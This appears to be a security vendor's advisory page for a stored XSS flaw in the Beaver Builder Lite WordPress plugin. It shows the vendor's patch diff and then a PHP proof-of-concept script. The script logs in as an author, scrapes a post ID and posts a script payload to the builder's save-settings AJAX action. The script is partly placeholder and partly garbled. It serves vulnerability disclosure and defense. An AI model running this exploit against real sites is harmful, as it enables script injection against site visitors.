+			if ( array_key_exists( $child_node_key, $ref_modules ) ) {
+				$modules[ $child_node_key ] = $ref_modules[ $child_node_key ];
+			}
+
 			foreach ( $child_node as $field_key => $field_value ) {
 				if ( 'connections' === $field_key ) {
 					continue;
@@ -1748,6 +1787,7 @@
 			'title'            => $template_post_title,
 			'root'             => $root_settings,
 			'child'            => $child_settings,
+			'modules'          => $modules,
 		];
 	}

--- a/beaver-builder-lite-version/fl-builder.php
+++ b/beaver-builder-lite-version/fl-builder.php
@@ -3,7 +3,7 @@
  * Plugin Name: Beaver Builder Plugin (Lite Version)
  * Plugin URI: https://www.wpbeaverbuilder.com/?utm_medium=bb&utm_source=plugins-admin-page&utm_campaign=plugins-admin-uri
  * Description: A drag and drop frontend WordPress page builder plugin that works with almost any theme!
- * Version: 2.10.2.2
+ * Version: 2.10.3.2
  * Author: The Beaver Builder Team
  * Author URI: https://www.wpbeaverbuilder.com/?utm_medium=bb&utm_source=plugins-admin-page&utm_campaign=plugins-admin-author
  * Copyright: (c) 2014 Beaver Builder
@@ -11,8 +11,8 @@
  * License URI: http://www.gnu.org/licenses/gpl-2.0.html
  * Text Domain: fl-builder
  * Requires at least: 6.6
- * Tested up to: 7.0
- * Requires PHP: 7.2
+ * Tested up to: 7.1
+ * Requires PHP: 7.4
  */

 require_once 'classes/class-fl-builder-loader.php';
--- a/beaver-builder-lite-version/includes/ui-field.php
+++ b/beaver-builder-lite-version/includes/ui-field.php
@@ -17,7 +17,7 @@
 				}
 			}

-			if ( data.field.type === 'form' ) {
+			if ( data.field.type === 'form' || data.field.type === 'raw' ) {
 				dynamicFieldIcons = '';
 			} else if ( data.field.type === 'button' && data.name === 'service_connect_button' ) {
 				dynamicFieldIcons = '';
@@ -31,7 +31,7 @@
 	#>
 	<# if ( ! data.field.label ) { #>
 	<td class="fl-field-control" colspan="2">
-		<# if ( dynamicFieldIcons && 'fl-builder-template' === FLBuilderConfig.postType && 'form' !== data.field.type ) { #>
+		<# if ( dynamicFieldIcons && 'fl-builder-template' === FLBuilderConfig.postType && 'form' !== data.field.type && ! data.isMultiple ) { #>
 			<i class="fl-dynamic-node-field dashicons fl-tip {{dynamicFieldIcons}}" title="{{dynamicEditingTitle}}" data-target-field="{{data.name}}" data-target-field-type="{{data.field.type}}"></i>
 		<# } #>
 	<# } else { #>
@@ -52,7 +52,7 @@
 					<span class="fl-builder-field-index">{{ data.index + 1 }}</span>
 				<# } #>
 			<# } #>
-				<# if ( dynamicFieldIcons && 'fl-builder-template' === FLBuilderConfig.postType && 'form' !== data.field.type ) { #>
+				<# if ( dynamicFieldIcons && 'fl-builder-template' === FLBuilderConfig.postType && 'form' !== data.field.type && ! data.isMultiple ) { #>
 				<i class="fl-dynamic-node-field dashicons fl-tip {{dynamicFieldIcons}}" title="{{dynamicEditingTitle}}" data-target-field="{{targetFieldName}}" data-target-field-type="{{data.field.type}}" data-target-field-index="{{ ( undefined !== data.index ) ? data.index : '' }}"></i>
 				<# } #>
 			<# if ( data.responsive ) { #>
--- a/beaver-builder-lite-version/includes/ui-js-overlay-templates.php
+++ b/beaver-builder-lite-version/includes/ui-js-overlay-templates.php
@@ -110,7 +110,11 @@
 		<# } #>

 		<# if ( data.hasRules ) { #>
-			<i class="fas fa-eye fl-tip fl-block-has-rules {{data.rulesTypeRow}}" title="<?php _e( 'This row has visibility rules', 'fl-builder' ); ?>: {{data.rulesTextRow}}"></i>
+			<span class="fl-tip fl-block-has-rules {{data.rulesTypeRow}}" title="<?php _e( 'This row has visibility rules', 'fl-builder' ); ?>: {{data.rulesTextRow}}">
+				<svg width="16" height="14" viewBox="0 0 576 512" xmlns="http://www.w3.org/2000/svg">
+					<path fill="currentColor" d="M288 32c-80.8 0-145.5 36.8-192.6 80.6C48.6 156 17.3 208 2.5 243.7c-3.3 7.9-3.3 16.7 0 24.6C17.3 304 48.6 356 95.4 399.4C142.5 443.2 207.2 480 288 480s145.5-36.8 192.6-80.6c46.8-43.5 78.1-95.4 93-131.1c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C433.5 68.8 368.8 32 288 32zM144 256a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm144-64c0 35.3-28.7 64-64 64c-7.1 0-13.9-1.2-20.3-3.3c-5.5-1.8-11.9 1.6-11.7 7.4c.3 6.9 1.3 13.8 3.2 20.7c13.7 51.2 66.4 81.6 117.6 67.9s81.6-66.4 67.9-117.6c-11.1-41.5-47.8-69.4-88.6-71.1c-5.8-.2-9.2 6.1-7.4 11.7c2.1 6.4 3.3 13.2 3.3 20.3z"/>
+				</svg>
+			</span>
 		<# } #>
 	</div>
 </script>
@@ -322,7 +326,11 @@
 		<# } #>

 		<# if ( data.hasRules ) { #>
-			<i class="fas fa-eye fl-tip fl-block-has-rules" title="<?php _e( 'This column has visibility rules.', 'fl-builder' ); ?>"></i>
+			<span class="fl-tip fl-block-has-rules" title="<?php _e( 'This column has visibility rules.', 'fl-builder' ); ?>">
+				<svg width="16" height="14" viewBox="0 0 576 512" xmlns="http://www.w3.org/2000/svg">
+					<path fill="currentColor" d="M288 32c-80.8 0-145.5 36.8-192.6 80.6C48.6 156 17.3 208 2.5 243.7c-3.3 7.9-3.3 16.7 0 24.6C17.3 304 48.6 356 95.4 399.4C142.5 443.2 207.2 480 288 480s145.5-36.8 192.6-80.6c46.8-43.5 78.1-95.4 93-131.1c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C433.5 68.8 368.8 32 288 32zM144 256a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm144-64c0 35.3-28.7 64-64 64c-7.1 0-13.9-1.2-20.3-3.3c-5.5-1.8-11.9 1.6-11.7 7.4c.3 6.9 1.3 13.8 3.2 20.7c13.7 51.2 66.4 81.6 117.6 67.9s81.6-66.4 67.9-117.6c-11.1-41.5-47.8-69.4-88.6-71.1c-5.8-.2-9.2 6.1-7.4 11.7c2.1 6.4 3.3 13.2 3.3 20.3z"/>
+				</svg>
+			</span>
 		<# } #>

 		<?php if ( ! $simple_ui ) : ?>
@@ -583,9 +591,17 @@
 		<# } #>

 		<# if ( data.colHasRules ) { #>
-			<i class="fas fa-eye fl-tip fl-block-has-rules {{data.rulesTypeCol}}" title="<?php _e( 'This column has visibility rules', 'fl-builder' ); ?>: {{data.rulesTextCol}}"></i>
+			<span class="fl-tip fl-block-has-rules {{data.rulesTypeCol}}" title="<?php _e( 'This column has visibility rules', 'fl-builder' ); ?>: {{data.rulesTextCol}}">
+				<svg width="16" height="14" viewBox="0 0 576 512" xmlns="http://www.w3.org/2000/svg">
+					<path fill="currentColor" d="M288 32c-80.8 0-145.5 36.8-192.6 80.6C48.6 156 17.3 208 2.5 243.7c-3.3 7.9-3.3 16.7 0 24.6C17.3 304 48.6 356 95.4 399.4C142.5 443.2 207.2 480 288 480s145.5-36.8 192.6-80.6c46.8-43.5 78.1-95.4 93-131.1c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C433.5 68.8 368.8 32 288 32zM144 256a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm144-64c0 35.3-28.7 64-64 64c-7.1 0-13.9-1.2-20.3-3.3c-5.5-1.8-11.9 1.6-11.7 7.4c.3 6.9 1.3 13.8 3.2 20.7c13.7 51.2 66.4 81.6 117.6 67.9s81.6-66.4 67.9-117.6c-11.1-41.5-47.8-69.4-88.6-71.1c-5.8-.2-9.2 6.1-7.4 11.7c2.1 6.4 3.3 13.2 3.3 20.3z"/>
+				</svg>
+			</span>
 		<# } else if ( data.hasRules ) { #>
-			<i class="fas fa-eye fl-tip fl-block-has-rules {{data.rulesTypeModule}}" title="<?php _e( 'This module has visibility rules', 'fl-builder' ); ?>: {{data.rulesTextModule}}"></i>
+			<span class="fl-tip fl-block-has-rules {{data.rulesTypeModule}}" title="<?php _e( 'This module has visibility rules', 'fl-builder' ); ?>: {{data.rulesTextModule}}">
+				<svg width="16" height="14" viewBox="0 0 576 512" xmlns="http://www.w3.org/2000/svg">
+					<path fill="currentColor" d="M288 32c-80.8 0-145.5 36.8-192.6 80.6C48.6 156 17.3 208 2.5 243.7c-3.3 7.9-3.3 16.7 0 24.6C17.3 304 48.6 356 95.4 399.4C142.5 443.2 207.2 480 288 480s145.5-36.8 192.6-80.6c46.8-43.5 78.1-95.4 93-131.1c3.3-7.9 3.3-16.7 0-24.6c-14.9-35.7-46.2-87.7-93-131.1C433.5 68.8 368.8 32 288 32zM144 256a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm144-64c0 35.3-28.7 64-64 64c-7.1 0-13.9-1.2-20.3-3.3c-5.5-1.8-11.9 1.6-11.7 7.4c.3 6.9 1.3 13.8 3.2 20.7c13.7 51.2 66.4 81.6 117.6 67.9s81.6-66.4 67.9-117.6c-11.1-41.5-47.8-69.4-88.6-71.1c-5.8-.2-9.2 6.1-7.4 11.7c2.1 6.4 3.3 13.2 3.3 20.3z"/>
+				</svg>
+			</span>
 		<# } #>

 		<?php if ( ! FLBuilderModel::is_post_user_template( 'module' ) && ! $simple_ui ) : ?>
--- a/beaver-builder-lite-version/includes/ui-settings-form-row.php
+++ b/beaver-builder-lite-version/includes/ui-settings-form-row.php
@@ -29,7 +29,7 @@
 	#>
 	<tbody id="fl-field-{{data.rootName}}" class="fl-field fl-builder-field-multiples" data-limit="{{limit}}" data-type="form" data-preview='{{{data.preview}}}' data-connections="{{{connections}}}">
     <# if ( ! shouldDeferRendering ) { #>
-		<# if ( data.global && data.dynamicOptions?.source !== 'legacy' && data.field.type === 'form' && 'fl-builder-template' === FLBuilderConfig.postType && data.dynamicEditing ) { #>
+		<# if ( data.global && data.dynamicOptions?.source !== 'legacy' && 'fl-builder-template' === FLBuilderConfig.postType && data.dynamicEditing ) { #>
 		<tr class="fl-builder-field-multiple-label">
 			<th class="fl-field-label">
 			<#
--- a/beaver-builder-lite-version/includes/updater-config.php
+++ b/beaver-builder-lite-version/includes/updater-config.php
@@ -3,7 +3,7 @@
 if ( class_exists( 'FLUpdater' ) ) {
 	FLUpdater::add_product(array(
 		'name'    => 'Beaver Builder Plugin (Lite Version)',
-		'version' => '2.10.2.2',
+		'version' => '2.10.3.2',
 		'slug'    => 'bb-plugin',
 		'type'    => 'plugin',
 	));
--- a/beaver-builder-lite-version/modules/acf-block/acf-block.php
+++ b/beaver-builder-lite-version/modules/acf-block/acf-block.php
@@ -7,14 +7,17 @@
 	 */
 	public function __construct() {
 		parent::__construct( array(
-			'name'            => __( 'ACF Block', 'fl-builder' ),
-			'description'     => __( 'Display an ACF block.', 'fl-builder' ),
-			'group'           => __( 'ACF Blocks', 'fl-builder' ),
-			'category'        => __( 'ACF Blocks', 'fl-builder' ),
-			'icon'            => 'layout.svg',
-			'editor_export'   => true,
-			'partial_refresh' => true,
-			'enabled'         => false, // We use aliases instead.
+			'name'               => __( 'ACF Block', 'fl-builder' ),
+			'description'        => __( 'Display an ACF block.', 'fl-builder' ),
+			'group'              => __( 'ACF Blocks', 'fl-builder' ),
+			'category'           => __( 'ACF Blocks', 'fl-builder' ),
+			'icon'               => 'layout.svg',
+			'editor_export'      => true,
+			'partial_refresh'    => true,
+			'enabled'            => false, // We use aliases instead.
+			// Renders arbitrary block output that can contain untrusted user
+			// data; do not run its shortcodes through the layout pass.
+			'renders_shortcodes' => false,
 		) );
 	}

--- a/beaver-builder-lite-version/modules/button-group/includes/frontend.js.php
+++ b/beaver-builder-lite-version/modules/button-group/includes/frontend.js.php
@@ -17,7 +17,7 @@
 					<?php echo $settings->items[ $i ]->button; ?>
 				});
 				<?php elseif ( 'lightbox' == $settings->items[ $i ]->click_action ) : ?>
-				$this.find('.fl-button-lightbox').magnificPopup({
+				$this.find('<?php echo $button_item_id; ?> .fl-button-lightbox').magnificPopup({
 					<?php if ( 'video' == $settings->items[ $i ]->lightbox_content_type ) : ?>
 					type: 'iframe',
 					mainClass: 'fl-button-lightbox-wrap',
--- a/beaver-builder-lite-version/modules/button/button.php
+++ b/beaver-builder-lite-version/modules/button/button.php
@@ -176,6 +176,18 @@
 	}

 	/**
+	 * Returns just the element name (a or button) for use in closing tags.
+	 * @since 2.10
+	 * @return string
+	 */
+	public function get_tag_name() {
+		if ( isset( $this->settings->click_action ) && 'link' !== $this->settings->click_action && $this->version > 2 ) {
+			return 'button';
+		}
+		return 'a';
+	}
+
+	/**
 	 * Returns a link attribute or data attribute based on the click action
 	 * @since 2.10
 	 * @return string
@@ -349,19 +361,21 @@
 						),
 					),
 					'copy_text'            => array(
-						'type'    => 'text',
-						'label'   => __( 'Text to Copy', 'fl-builder' ),
-						'default' => '',
-						'preview' => array(
+						'type'        => 'text',
+						'label'       => __( 'Text to Copy', 'fl-builder' ),
+						'default'     => '',
+						'min_version' => 3,
+						'preview'     => array(
 							'type' => 'none',
 						),
 					),

 					'copy_success_message' => array(
-						'type'    => 'text',
-						'label'   => __( 'Copy Success Message', 'fl-builder' ),
-						'default' => __( 'Copied!', 'fl-builder' ),
-						'preview' => array(
+						'type'        => 'text',
+						'label'       => __( 'Copy Success Message', 'fl-builder' ),
+						'default'     => __( 'Copied!', 'fl-builder' ),
+						'min_version' => 3,
+						'preview'     => array(
 							'type' => 'none',
 						),
 					),
--- a/beaver-builder-lite-version/modules/button/deprecated/v1/includes/frontend.php
+++ b/beaver-builder-lite-version/modules/button/deprecated/v1/includes/frontend.php
@@ -39,7 +39,7 @@
 			?>
 		<i class="fl-button-icon fl-button-icon-after <?php echo esc_attr( $settings->icon ); ?>" aria-hidden="true"></i>
 		<?php endif; ?>
-	</<?php echo esc_attr( $module->get_tag() ); ?>>
+	</<?php echo esc_attr( $module->get_tag_name() ); ?>>
 </div>
 <?php if ( 'lightbox' == $settings->click_action && 'html' == $settings->lightbox_content_type && isset( $settings->lightbox_content_html ) ) : ?>
 	<div class="<?php echo $button_node_id; ?> fl-button-lightbox-content mfp-hide">
--- a/beaver-builder-lite-version/modules/button/includes/frontend.php
+++ b/beaver-builder-lite-version/modules/button/includes/frontend.php
@@ -45,7 +45,7 @@
 			?>
 		<i class="fl-button-icon fl-button-icon-after <?php echo esc_attr( $settings->icon ); ?>" aria-hidden="true"></i>
 		<?php endif; ?>
-	</<?php echo esc_attr( $module->get_tag() ); ?>>
+	</<?php echo esc_attr( $module->get_tag_name() ); ?>>
 	<?php if ( 'lightbox' == $settings->click_action && 'html' == $settings->lightbox_content_type && isset( $settings->lightbox_content_html ) ) : ?>
 		<div class="<?php echo $button_node_id; ?> fl-button-lightbox-content mfp-hide">
 			<?php echo $settings->lightbox_content_html; ?>
--- a/beaver-builder-lite-version/modules/numbers/numbers.php
+++ b/beaver-builder-lite-version/modules/numbers/numbers.php
@@ -130,7 +130,10 @@

 	public function render_circle_bar() {

-		$width  = ! empty( $this->settings->circle_width ) ? $this->settings->circle_width : 100;
+		// Cast to a number so the value can never break out of the SVG
+		// viewBox attribute below (stored settings are only tag-stripped, not
+		// attribute-safe). CVE-2026-15242.
+		$width  = ! empty( $this->settings->circle_width ) ? (float) $this->settings->circle_width : 100;
 		$pos    = ( $width / 2 );
 		$radius = $pos - 10;
 		$dash   = number_format( ( ( M_PI * 2 ) * $radius ), 2, '.', '' );
--- a/beaver-builder-lite-version/modules/reusable-block/reusable-block.php
+++ b/beaver-builder-lite-version/modules/reusable-block/reusable-block.php
@@ -13,14 +13,17 @@
 	 */
 	public function __construct() {
 		parent::__construct( array(
-			'name'            => __( 'WordPress Pattern', 'fl-builder' ),
-			'description'     => __( 'Display a WordPress Pattern.', 'fl-builder' ),
-			'group'           => __( 'WordPress Patterns', 'fl-builder' ),
-			'category'        => __( 'WordPress Patterns', 'fl-builder' ),
-			'icon'            => 'layout.svg',
-			'editor_export'   => true,
-			'partial_refresh' => true,
-			'enabled'         => false, // We use aliases instead.
+			'name'               => __( 'WordPress Pattern', 'fl-builder' ),
+			'description'        => __( 'Display a WordPress Pattern.', 'fl-builder' ),
+			'group'              => __( 'WordPress Patterns', 'fl-builder' ),
+			'category'           => __( 'WordPress Patterns', 'fl-builder' ),
+			'icon'               => 'layout.svg',
+			'editor_export'      => true,
+			'partial_refresh'    => true,
+			'enabled'            => false, // We use aliases instead.
+			// Renders arbitrary block output that can contain untrusted user
+			// data; do not run its shortcodes through the layout pass.
+			'renders_shortcodes' => false,
 		) );
 	}

--- a/beaver-builder-lite-version/modules/video/video.php
+++ b/beaver-builder-lite-version/modules/video/video.php
@@ -110,9 +110,9 @@
 			$vid_data = $this->get_data();
 			$preload  = FLBuilderModel::is_builder_active() && ! empty( $vid_data->poster ) ? ' preload="none"' : '';

-			$video_meta .= '<meta itemprop="url" content="' . ( empty( $vid_data->url ) ? '' : $vid_data->url ) . '" />';
+			$video_meta .= '<meta itemprop="url" content="' . esc_url( empty( $vid_data->url ) ? '' : $vid_data->url ) . '" />';
 			if ( $schema ) {
-				$video_meta .= '<meta itemprop="thumbnail" content="' . $video_poster . '" />';
+				$video_meta .= '<meta itemprop="thumbnail" content="' . esc_url( $video_poster ) . '" />';
 			}

 			$video_html = $video_meta;
@@ -120,7 +120,7 @@
 			$video_sc = sprintf( '%s', __( 'Video not specified. Please select one to display.', 'fl-builder' ) );

 			if ( ! empty( $vid_data->url ) ) {
-				$video_sc = '[video src="' . preg_replace( '//??.*/', '', $vid_data->url ) . '" ' . $vid_data->extension . '="' . preg_replace( '//??.*/', '', $vid_data->url ) . '"' . $vid_data->video_webm . ' poster="' . $video_poster . '" ' . $vid_data->autoplay . $vid_data->loop . $preload . '][/video]';
+				$video_sc = '[video src="' . esc_url( preg_replace( '//??.*/', '', $vid_data->url ) ) . '" ' . $vid_data->extension . '="' . esc_url( preg_replace( '//??.*/', '', $vid_data->url ) ) . '"' . $vid_data->video_webm . ' poster="' . esc_url( $video_poster ) . '" ' . $vid_data->autoplay . $vid_data->loop . $preload . '][/video]';
 			}

 			if ( 'yes' === $this->settings->video_lightbox ) {
--- a/beaver-builder-lite-version/modules/widget/widget.php
+++ b/beaver-builder-lite-version/modules/widget/widget.php
@@ -10,12 +10,15 @@
 	 */
 	public function __construct() {
 		parent::__construct(array(
-			'name'            => __( 'Widget', 'fl-builder' ),
-			'description'     => __( 'Display a WordPress widget.', 'fl-builder' ),
-			'group'           => __( 'WordPress Widgets', 'fl-builder' ),
-			'category'        => __( 'WordPress Widgets', 'fl-builder' ),
-			'editor_export'   => false,
-			'partial_refresh' => true,
+			'name'               => __( 'Widget', 'fl-builder' ),
+			'description'        => __( 'Display a WordPress widget.', 'fl-builder' ),
+			'group'              => __( 'WordPress Widgets', 'fl-builder' ),
+			'category'           => __( 'WordPress Widgets', 'fl-builder' ),
+			'editor_export'      => false,
+			'partial_refresh'    => true,
+			// Widgets render third-party output that can contain untrusted user
+			// data (e.g. comment author names); do not run its shortcodes.
+			'renders_shortcodes' => false,
 		));
 	}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-17090 - Beaver Builder Page Builder <= 2.10.2.2 - Authenticated (Author+) Stored XSS via Button Module 'button' Parameter

// wp_ajax_' . $action . ' hook is used. This PoC uses the AJAX action.
// This is a self-contained script; run it with PHP CLI after setting credentials.

$target_url = 'http://example.com';   // Change to target WordPress site
$admin_user = 'author_user';           // Author-level account username
$admin_pass = 'password';              // Author-level account password

// Step 1: Login to WordPress to obtain authentication cookies
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_cookie');

$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $admin_user,
    'pwd' => $admin_pass,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));

$response = curl_exec($ch);
curl_close($ch);

// Step 2: Get the list of draft pages to target (could use any post the author can edit)
// This PoC assumes we know a target post ID. For simplicity, we target the first page available.
$list_url = $target_url . '/wp-admin/edit.php?post_type=page';
$ch = curl_init($list_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
$response = curl_exec($ch);
curl_close($ch);

// Parse the post ID from the page HTML (simplistic: first edit link)
preg_match('/post=(d+)/', $response, $matches);
if (empty($matches[1])) {
    echo "Could not find a target post. Exiting.n";
    exit(1);
}
$post_id = $matches[1];

// Step 3: Exploit the vulnerability by saving settings via the builder AJAX action
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload_xss = 'alert(1)';   // Payload for the button code field

$post_data = array(
    'action' => 'fl_builder_save_settings',
    'node_id' => 'some_node_id',   // Need a valid node ID; we need to obtain it from the layout.
    'settings' => array(
        'button' => $payload_xss,   // Vulnerable parameter: 'button' in Button Module code field
        'type' => 'button',
        'module' => 'button'
    )
);

// We need the node node_id; in a real attack, we would fetch the layout first.
// Here we demonstrate the request structure. For demonstration, use a placeholder.
$node_id = 'placeholder-node-id';

$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => 'fl_builder_save_settings',
    'node_id' => $node_id,
    'settings' => json_encode(array('button' => $payload_xss))
)));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && strpos($response, 'success') !== false) {
    echo "[+] Stored XSS payload injected successfully.n";
} else {
    echo "[-] Exploit failed. HTTP: $http_coden";
    echo $response . "n";
}

// Cleanup
unlink($cookie_file);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.